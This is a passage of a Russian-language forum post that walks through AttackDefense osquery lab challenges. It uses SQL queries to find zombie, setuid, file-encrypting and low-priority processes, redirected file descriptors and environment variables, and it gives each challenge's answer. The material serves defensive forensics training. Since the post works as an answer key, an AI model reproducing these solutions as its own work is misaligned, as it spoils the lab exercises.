| 33  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 34  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 35  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 36  | example   |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 8320428    | 9      | 9      | 1       | 0    |
| 39  | extractor |      |         | Z     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 410       | 1100        |                 |                    | 8320428    | 1      | 39     | 27      | 0    |
+-----+-----------+------+---------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
osquery> select * from processes where cmdline LIKE '%example%';
+-----+---------+--------------------+----------------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name    | path               | cmdline              | state | cwd   | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+---------+--------------------+----------------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 9   | example | /home/john/example | /home/john/./example | S     | /root | /    | 0   | 0   | 0    | 0    | 0    | 0    | 1       | 0          | 960000        | 4216000    | 0         | 0           | 12288           | 0                  | 8320428    | 1      | 9      | 1       | 0    |
+-----+---------+--------------------+----------------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
Я искал "state" "Z" и команды, содержащие слово "example". Ответ - /home/john/example

4. Один из пользователей запускает файл setuid, принадлежащий пользователю root. Найдите имя созданного процесса.
Без комментариев.
Код:
osquery> select * from processes where suid = 0 and uid != 0;
+-----+--------+------+-----------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name   | path | cmdline   | state | cwd | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+--------+------+-----------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 37  | secret |      | secret -p | S     |     |      | 998 | 998 | 0    | 998  | 0    | 998  | -1      | 0          | 2784000       | 18016000   | 0         | 0           |                 | 0                  | 8320428    | 1      | 37     | 1       | 0    |
+-----+--------+------+-----------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+

5. Найдите путь к файлу процесса, который шифрует файлы в файловой системе.
Когда файл в файловой системе шифруется, сначала данные на диске считываются приложением и делятся на блоки. Во-вторых, после разделения данных на блоки каждый блок шифруется, после того как он зашифрован, данные перезаписываются. Существуют и другие процессы, которые также происходят, но они различаются в зависимости от приложений шифрования.

Таблица процессов содержит столбцы "disk_bytes_read" и "disk_bytes_written". Мы знаем, что приложение шифрования должно прочитать файл, чтобы зашифровать его, и после его шифрования оно должно создать новый зашифрованный файл путем записи байтов. Мы можем проверить байты, которые были прочитаны и записаны, а затем немного подождать и проверить еще раз, процессом, в котором мы увидим разницу в размере байта, может быть приложение, которое шифрует файлы.

Код:
osquery> select path,disk_bytes_read,disk_bytes_written from processes;
+----------------------+-----------------+--------------------+
| path                 | disk_bytes_read | disk_bytes_written |
+----------------------+-----------------+--------------------+
| /usr/bin/python2.7   | 15462400        | 36864              |
| /usr/local/bin/ttyd  | 475136          | 0                  |
| /usr/sbin/cron       | 20480           | 0                  |
|                      |                 | 0                  |
|                      |                 | 0                  |
| /home/john/antivirus | 16384           | 4390912            | ------> Tuta
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 | 0                  |
|                      |                 | 0                  |
|                      |                 |                    |
|                      |                 | 0                  |
|                      |                 | 0                  |
|                      |                 | 0                  |
|                      |                 |                    |
| /usr/bin/osqueryd    | 0               | 28672              |
|                      |                 |                    |
| /bin/bash            | 0               | 0                  |
| /usr/bin/osqueryd    | 0               | 28672              |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 | 0                  |
| /opt/analyzer        | 20480           | 0                  |
|                      |                 |                    |
| /usr/sbin/apache2    | 2699264         | 16384              |
| /root/sample1        | 12288           | 0                  |
| /usr/sbin/vsftpd     | 172032          | 0                  |
| /home/john/example   | 12288           | 0                  |
| /usr/sbin/sshd       | 0               | 4096               |
+----------------------+-----------------+--------------------+
osquery> select path,disk_bytes_read,disk_bytes_written from processes;
+----------------------+-----------------+--------------------+
| path                 | disk_bytes_read | disk_bytes_written |
+----------------------+-----------------+--------------------+
| /usr/bin/python2.7   | 15462400        | 36864              |
| /usr/local/bin/ttyd  | 475136          | 0                  |
| /usr/sbin/cron       | 20480           | 0                  |
|                      |                 | 0                  |
|                      |                 | 0                  |
| /home/john/antivirus | 16384           | 4399104            | ------> Tuta
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 | 0                  |
|                      |                 | 0                  |
|                      |                 |                    |
|                      |                 | 0                  |
|                      |                 | 0                  |
|                      |                 | 0                  |
|                      |                 |                    |
| /usr/bin/osqueryd    | 0               | 28672              |
|                      |                 |                    |
| /bin/bash            | 0               | 0                  |
| /usr/bin/osqueryd    | 0               | 28672              |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 |                    |
|                      |                 | 0                  |
| /opt/analyzer        | 20480           | 0                  |
|                      |                 |                    |
| /usr/sbin/apache2    | 2699264         | 16384              |
| /root/sample1        | 12288           | 0                  |
| /usr/sbin/vsftpd     | 172032          | 0                  |
| /home/john/example   | 12288           | 0                  |
| /usr/sbin/sshd       | 0               | 4096               |
+----------------------+-----------------+--------------------+
Мы видим, что единственная разница в "/home/john/antivirus"

6. Найдите имя процесса, который имеет самый низкий приоритет процессора.
Что такое процессорное время?
Процессорное время - это количество времени, которое центральный процессор тратит на выполнение инструкций для определенного процесса или задачи.

Что такое приоритет процессора?
Приоритет процессора - это механизм, который управляет распределением процессорного времени между процессами, гарантируя, что задачи с более высоким приоритетом получают больше внимания процессора и что система остается отзывчивой и эффективной.

Что такое "nice"?
"Nice" используется для определения приоритета процесса. Меньшее значение указывает на более высокий приоритет, что означает, что процесс получит больше процессорного времени. Это значение может быть от -20 до +19, значение по умолчанию - 0.

Мы можем просто выполнить поиск по значению "19", которое является самым высоким.
Код:
osquery> select * from processes where nice = 19;
+-----+----------+---------------+---------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid | name     | path          | cmdline       | state | cwd   | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-----+----------+---------------+---------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 38  | analyzer | /opt/analyzer | /opt/analyzer | S     | /root | /    | 0   | 0   | 0    | 0    | 0    | 0    | 1       | 0          | 716000        | 4216000    | 0         | 0           | 20480           | 0                  | 8320428    | 1      | 38     | 1       | 19   |
+-----+----------+---------------+---------------+-------+-------+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
 
Последнее редактирование:

Лаборатория №4

Ссылка: https://www.attackdefense.com/challengedetails?cid=1046

1. Чтобы логировать ошибки, процесс перенаправил свою стандартную ошибку в /tmp/error. Найдите название процесса.
Существует таблица "process_open_files", которая предоставляет информацию о файлах, которые в данный момент открыты запущенными процессами в системе.
Код:
osquery> select * from process_open_files;
+-----+-----+-----------------------------------------------------------------+
| pid | fd  | path                                                            |
+-----+-----+-----------------------------------------------------------------+
| 1   | 0   | /dev/null                                                       |
| 1   | 11  | /dev/urandom                                                    |
| 1   | 12  | /var/log/supervisor/ttyd-stdout---supervisor-d9chHH.log         |
| 1   | 13  | /var/log/supervisor/ttyd-stderr---supervisor-rp_UEf.log         |
| 1   | 17  | /var/log/supervisor/stderror-stdout---supervisor-MqeivA.log     |
| 1   | 18  | /var/log/supervisor/stderror-stderr---supervisor-fzwxiz.log     |
| 1   | 22  | /var/log/supervisor/stdinput-del-stdout---supervisor-yOh9zT.log |
| 1   | 23  | /var/log/supervisor/stdinput-del-stderr---supervisor-CDvJPr.log |
| 1   | 27  | /var/log/supervisor/stdinput-stdout---supervisor-IRjn8Q.log     |
| 1   | 28  | /var/log/supervisor/stdinput-stderr---supervisor-ltynDh.log     |
| 1   | 3   | /var/log/supervisor/supervisord.log                             |
| 1   | 32  | /var/log/supervisor/services-stdout---supervisor-Hrs3wm.log     |
| 1   | 33  | /var/log/supervisor/services-stderr---supervisor-UwNWl4.log     |
| 1   | 37  | /var/log/supervisor/logger-stdout---supervisor-rfd_HC.log       |
| 1   | 38  | /var/log/supervisor/logger-stderr---supervisor-T5P_BG.log       |
| 1   | 42  | /var/log/supervisor/recorder-stdout---supervisor-bBHaJL.log     |
| 1   | 43  | /var/log/supervisor/recorder-stderr---supervisor-iFjPni.log     |
| 1   | 47  | /var/log/supervisor/process-file-stdout---supervisor-XUWaLK.log |
| 1   | 48  | /var/log/supervisor/process-file-stderr---supervisor-JhKqRg.log |
| 10  | 2   | /tmp/error                                                      |
| 11  | 0   | /home/tom/key (deleted)                                         |
| 113 | 0   | /dev/pts/0                                                      |
| 113 | 1   | /dev/pts/0                                                      |
| 113 | 2   | /dev/pts/0                                                      |
| 113 | 255 | /usr/bin/osquery                                                |
| 113 | 3   | /dev/urandom                                                    |
| 114 | 0   | /dev/pts/0                                                      |
| 114 | 1   | /dev/pts/0                                                      |
| 114 | 13  | /var/tmp/etilqs_a8645dceaef26198 (deleted)                      |
| 114 | 14  | /proc/114/fd                                                    |
| 114 | 2   | /dev/pts/0                                                      |
| 114 | 3   | /dev/urandom                                                    |
| 12  | 0   | /usr/local/bin/inputs                                           |
| 13  | 2   | /var/log/apache2/error.log                                      |
| 13  | 6   | /var/log/apache2/other_vhosts_access.log                        |
| 13  | 7   | /var/log/apache2/access.log                                     |
| 14  | 3   | /tmp/part1                                                      |
| 14  | 4   | /tmp/part2                                                      |
| 14  | 5   | /tmp/part3                                                      |
| 14  | 6   | /tmp/part4                                                      |
| 14  | 7   | /tmp/part5                                                      |
| 15  | 1   | /var/log/recorder-output                                        |
| 16  | 3   | /var/log/apache2/error.log                                      |
| 28  | 0   | /dev/null                                                       |
| 28  | 1   | /dev/null                                                       |
| 28  | 2   | /dev/null                                                       |
| 47  | 0   | /dev/null                                                       |
| 47  | 1   | /dev/null                                                       |
| 47  | 2   | /dev/null                                                       |
| 54  | 0   | /dev/null                                                       |
| 54  | 1   | /dev/null                                                       |
| 54  | 2   | /dev/null                                                       |
| 54  | 3   | /run/crond.pid                                                  |
| 56  | 0   |                                                                 |
| 56  | 1   |                                                                 |
| 56  | 2   |                                                                 |
| 56  | 3   |                                                                 |
| 56  | 4   |                                                                 |
| 56  | 5   |                                                                 |
| 56  | 6   |                                                                 |
| 56  | 7   |                                                                 |
| 56  | 8   |                                                                 |
| 57  | 0   |                                                                 |
| 57  | 1   |                                                                 |
| 57  | 2   |                                                                 |
| 57  | 3   |                                                                 |
| 57  | 4   |                                                                 |
| 57  | 5   |                                                                 |
| 57  | 6   |                                                                 |
| 57  | 7   |                                                                 |
| 57  | 8   |                                                                 |
| 9   | 3   | /dev/urandom                                                    |
| 9   | 8   | /dev/pts/ptmx                                                   |
+-----+-----+-----------------------------------------------------------------+

Давайте проверим общие столбцы в таблицах "processes" и "process_open_files". Мы делаем это потому, что в таблице "processes" мы можем видеть запущенную команду, название процесса, а в таблице "process_open_files" мы можем видеть файлы, которые открываются этим процессом.
Код:
osquery> PRAGMA table_info(processes);
+-----+--------------------+---------+---------+------------+----+
| cid | name               | type    | notnull | dflt_value | pk |
+-----+--------------------+---------+---------+------------+----+
| 0   | pid                | BIGINT  | 1       |            | 1  |
| 1   | name               | TEXT    | 0       |            | 0  |
| 2   | path               | TEXT    | 0       |            | 0  |
| 3   | cmdline            | TEXT    | 0       |            | 0  |
| 4   | state              | TEXT    | 0       |            | 0  |
| 5   | cwd                | TEXT    | 0       |            | 0  |
| 6   | root               | TEXT    | 0       |            | 0  |
| 7   | uid                | BIGINT  | 0       |            | 0  |
| 8   | gid                | BIGINT  | 0       |            | 0  |
| 9   | euid               | BIGINT  | 0       |            | 0  |
| 10  | egid               | BIGINT  | 0       |            | 0  |
| 11  | suid               | BIGINT  | 0       |            | 0  |
| 12  | sgid               | BIGINT  | 0       |            | 0  |
| 13  | on_disk            | INTEGER | 0       |            | 0  |
| 14  | wired_size         | BIGINT  | 0       |            | 0  |
| 15  | resident_size      | BIGINT  | 0       |            | 0  |
| 16  | total_size         | BIGINT  | 0       |            | 0  |
| 17  | user_time          | BIGINT  | 0       |            | 0  |
| 18  | system_time        | BIGINT  | 0       |            | 0  |
| 19  | disk_bytes_read    | BIGINT  | 0       |            | 0  |
| 20  | disk_bytes_written | BIGINT  | 0       |            | 0  |
| 21  | start_time         | BIGINT  | 0       |            | 0  |
| 22  | parent             | BIGINT  | 0       |            | 0  |
| 23  | pgroup             | BIGINT  | 0       |            | 0  |
| 24  | threads            | INTEGER | 0       |            | 0  |
| 25  | nice               | INTEGER | 0       |            | 0  |
+-----+--------------------+---------+---------+------------+----+
osquery> PRAGMA table_info(process_open_files);
+-----+------+--------+---------+------------+----+
| cid | name | type   | notnull | dflt_value | pk |
+-----+------+--------+---------+------------+----+
| 0   | pid  | BIGINT | 1       |            | 1  |
| 1   | fd   | BIGINT | 0       |            | 0  |
| 2   | path | TEXT   | 0       |            | 0  |
+-----+------+--------+---------+------------+----+
Как мы можем видеть из приведенных выше таблиц, у них есть общий столбец "pid", который мы можем использовать для объединения их и извлечения информации, также мы можем использовать столбец "path" таблицы "process_open_files" для получения конкретной информации. Мы можем просто поставить для него значение "/tmp/error".
Код:
osquery> select process_open_files.pid,processes.name,processes.cmdline,process_open_files.path from processes inner join process_open_files on process_open_files.pid=processes.pid where p
rocess_open_files.path = '/tmp/error';
+-----+--------+---------------------+------------+
| pid | name   | cmdline             | path       |
+-----+--------+---------------------+------------+
| 10  | shared | /home/john/./shared | /tmp/error |
+-----+--------+---------------------+------------+

2. Процесс перенаправил свой стандартный вывод в файл. Найдите путь к сгенерированному выходному файлу.
Мы найдем это таким же образом, как описано выше, но сначала мы должны понять "fd".

FD - Файловый дескриптор - это целое число, используемое процессом для идентификации открытого файла. Существует 3 стандартных дескриптора, 0 - это stdin - стандартный ввод / standard input - обычно ввод, который ожидается с клавиатуры, 1 - stdout - стандартный вывод / standard output - поток, в который программа записывает свои выходные данные (вывод команды, исключая ошибки). 2 - stderr - стандартная ошибка / standard error - поток, в который отправляются сообщения об ошибках.

В нашем случае мы хотим, чтобы fd был равен 1.

Код:
osquery> select process_open_files.pid,processes.name,processes.cmdline,process_open_files.path,process_open_files.fd from processes inner join process_open_files on process_open_files.pid
=processes.pid where process_open_files.fd = 1;
+-----+----------+--------------------------------+--------------------------+----+
| pid | name     | cmdline                        | path                     | fd |
+-----+----------+--------------------------------+--------------------------+----+
| 113 | osquery  | /bin/bash /usr/bin/osquery     | /dev/pts/0               | 1  |
| 114 | osqueryi | osqueryi --logger_min_status 1 | /dev/pts/0               | 1  |
| 15  | recorder | /opt/recorder                  | /var/log/recorder-output | 1  |
| 28  | vsftpd   | /usr/sbin/vsftpd               | /dev/null                | 1  |
| 47  | sshd     | /usr/sbin/sshd                 | /dev/null                | 1  |
| 54  | cron     | /usr/sbin/cron                 | /dev/null                | 1  |
| 56  | apache2  | apache2 -D FOREGROUND          |                          | 1  |
| 57  | apache2  | apache2 -D FOREGROUND          |                          | 1  |
+-----+----------+--------------------------------+--------------------------+----+

Что такое псевдотерминал (PTY)?
Псевдотерминал - это программное обеспечение, которое эмулирует аппаратное обеспечение терминала, оно позволяет осуществлять связь между пользователем и компьютером через текстовый интерфейс. Пример: SSH использует псевдотерминалы для обеспечения функциональности, подобной терминалу, необходимой для удаленного выполнения команд.

/dev/pts/0 - это псевдотерминальный сеанс, когда мы подключаемся к серверу по SSH, мы создаем сеанс PTY на этом сервере.

/dev/null - это черная дыра, любые данные, которые попадают в нее, исчезают.

Ответ здесь - /var/log/recorder-output

3. Чтобы иметь небольшой фрагмент файлов вместо одного большого файла. Процесс записывает свои выходные данные в несколько файлов. Найдите название процесса.
Давайте выясним, в каком процессе находится наибольшее количество файлов.

Я извлекаю список процессов, их имена и количество открытых файлов, связанных с каждым процессом, затем группирую их по идентификатору процесса и имени, а затем сортирую в порядке убывания количества открытых файлов.

Код:
osquery> select processes.pid, processes.name, count(process_open_files.pid) as openFiles from processes join process_open_files on processes.pid = process_open_files.pid group by processe
s.pid, processes.name order by openFiles desc;
+-----+--------------+-----------+
| pid | name         | openFiles |
+-----+--------------+-----------+
| 1   | supervisord  | 19        |
| 56  | apache2      | 9         |
| 57  | apache2      | 9         |
| 114 | osqueryi     | 6         |
| 14  | logger       | 5         |
| 113 | osquery      | 5         |
| 54  | cron         | 4         |
| 13  | apache2      | 3         |
| 28  | vsftpd       | 3         |
| 47  | sshd         | 3         |
| 9   | ttyd         | 2         |
| 10  | shared       | 1         |
| 11  | encrypter    | 1         |
| 12  | retrieve     | 1         |
| 15  | recorder     | 1         |
| 16  | process-file | 1         |
+-----+--------------+-----------+

Из приведенной выше таблицы мы видим, что топ-5 процессов, в которых открыто несколько файлов, следующие: supervisord,apache2, osqueryi,logger,osquery. Мы все знаем об apache2, osquery и osqueryi. Осталось только 2 файла: supervisord и logger. Супервизор - это система, которая управляет длительными процессами.

Мы можем проверить оба процесса. Как мы видим, supervisord с идентификатором процесса 1 работает с файлами stdin/stdout/stderr, в то время как logges с идентификатором процесса 14 работает с 5 файлами, и они названы как "part", по имени файлов очевидно что logger - имя процесса, который мы ищем.
Код:
osquery> select path from process_open_files where pid = 1;
+-----------------------------------------------------------------+
| path                                                            |
+-----------------------------------------------------------------+
| /dev/null                                                       |
| /dev/urandom                                                    |
| /var/log/supervisor/ttyd-stdout---supervisor-d9chHH.log         |
| /var/log/supervisor/ttyd-stderr---supervisor-rp_UEf.log         |
| /var/log/supervisor/stderror-stdout---supervisor-MqeivA.log     |
| /var/log/supervisor/stderror-stderr---supervisor-fzwxiz.log     |
| /var/log/supervisor/stdinput-del-stdout---supervisor-yOh9zT.log |
| /var/log/supervisor/stdinput-del-stderr---supervisor-CDvJPr.log |
| /var/log/supervisor/stdinput-stdout---supervisor-IRjn8Q.log     |
| /var/log/supervisor/stdinput-stderr---supervisor-ltynDh.log     |
| /var/log/supervisor/supervisord.log                             |
| /var/log/supervisor/services-stdout---supervisor-Hrs3wm.log     |
| /var/log/supervisor/services-stderr---supervisor-UwNWl4.log     |
| /var/log/supervisor/logger-stdout---supervisor-rfd_HC.log       |
| /var/log/supervisor/logger-stderr---supervisor-T5P_BG.log       |
| /var/log/supervisor/recorder-stdout---supervisor-bBHaJL.log     |
| /var/log/supervisor/recorder-stderr---supervisor-iFjPni.log     |
| /var/log/supervisor/process-file-stdout---supervisor-XUWaLK.log |
| /var/log/supervisor/process-file-stderr---supervisor-JhKqRg.log |
+-----------------------------------------------------------------+
osquery> select path from process_open_files where pid = 14;
+------------+
| path       |
+------------+
| /tmp/part1 |
| /tmp/part2 |
| /tmp/part3 |
| /tmp/part4 |
| /tmp/part5 |
+------------+

4. Процесс, запущенный с правами root, использует перенаправление ввода для чтения входных данных из файла. Найдите имя входного файла.
Давайте разделим предложение на несколько частей, "запущенный с правами root" - uid = 0, "перенаправление ввода для чтения" fd = 0. Этого достаточно, чтобы написать SQL-запрос и получить нужные нам данные.
Код:
osquery> select process_open_files.fd,processes.uid,processes.name,process_open_files.path from processes inner join process_open_files on process_open_files.pid=processes.pid where proces
ses.uid = 0 and process_open_files.fd = 0;
+----+-----+-------------+-------------------------+
| fd | uid | name        | path                    |
+----+-----+-------------+-------------------------+
| 0  | 0   | supervisord | /dev/null               |
| 0  | 0   | encrypter   | /home/tom/key (deleted) |
| 0  | 0   | osquery     | /dev/pts/0              |
| 0  | 0   | osqueryi    | /dev/pts/0              |
| 0  | 0   | retrieve    | /usr/local/bin/inputs   | -----> input / vxod
| 0  | 0   | vsftpd      | /dev/null               |
| 0  | 0   | sshd        | /dev/null               |
| 0  | 0   | cron        | /dev/null               |
+----+-----+-------------+-------------------------+

5. Процесс, прочитав необходимую информацию с помощью перенаправления ввода, удалил входной файл. Найдите имя удаленного входного файла.
Это входной файл, stdin, поэтому fd = 0. Как мы можем видеть из результата запроса, файл, который мы искали, - это /home/tom/key
Код:
osquery> select process_open_files.fd, process_open_files.path from processes inner join process_open_files on process_open_files.pid=processes.pid where fd = 0;
+----+-------------------------+
| fd | path                    |
+----+-------------------------+
| 0  | /dev/null               |
| 0  | /home/tom/key (deleted) |
| 0  | /dev/pts/0              |
| 0  | /dev/pts/0              |
| 0  | /usr/local/bin/inputs   |
| 0  | /dev/null               |
| 0  | /dev/null               |
| 0  | /dev/null               |
| 0  |                         |
| 0  |                         |
+----+-------------------------+
6. Найдите имя процесса, который считывает файл из значения, указанного в переменной окружения READ_FILE.
Что такое переменная окружения?
Что за переменные окружения? - https://xss.pro/threads/98617/
Переменные окружения - это переменные, которые содержат информацию о среде, в которой выполняется программа. Они могут использоваться для управления тем, как программы управляют общими библиотеками.
Таблица process_envs предоставляет информацию о переменных окружения,. В нем есть столбец "key", который содержит имена переменных окружения.
Код:
osquery> select * from process_envs where key = 'READ_FILE';
+-----+-----------+----------------------------+
| pid | key       | value                      |
+-----+-----------+----------------------------+
| 16  | READ_FILE | /var/log/apache2/error.log |
+-----+-----------+----------------------------+
Чтобы найти название процесса, мы можем объединить 2 таблицы.
Код:
osquery> select process_envs.pid,processes.name from process_envs inner join processes on process_envs.pid=processes.pid where process_envs.key = 'READ_FILE';
+-----+--------------+
| pid | name         |
+-----+--------------+
| 16  | process-file |
+-----+--------------+

Автор grozdniyandy

Источник https://xss.pro/​

 
не понял, этот софт постоянно запущен и постоянно всё сканирует, или это просто 100500 баш скриптов в виде "SQL запросов" на все случаи жизни?
 
не понял, этот софт постоянно запущен и постоянно всё сканирует, или это просто 100500 баш скриптов в виде "SQL запросов" на все случаи жизни?
Софт постоянно запущен, в лабах же через osqueryi всё делалось. Работает в бэкграунде и получает инфу.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх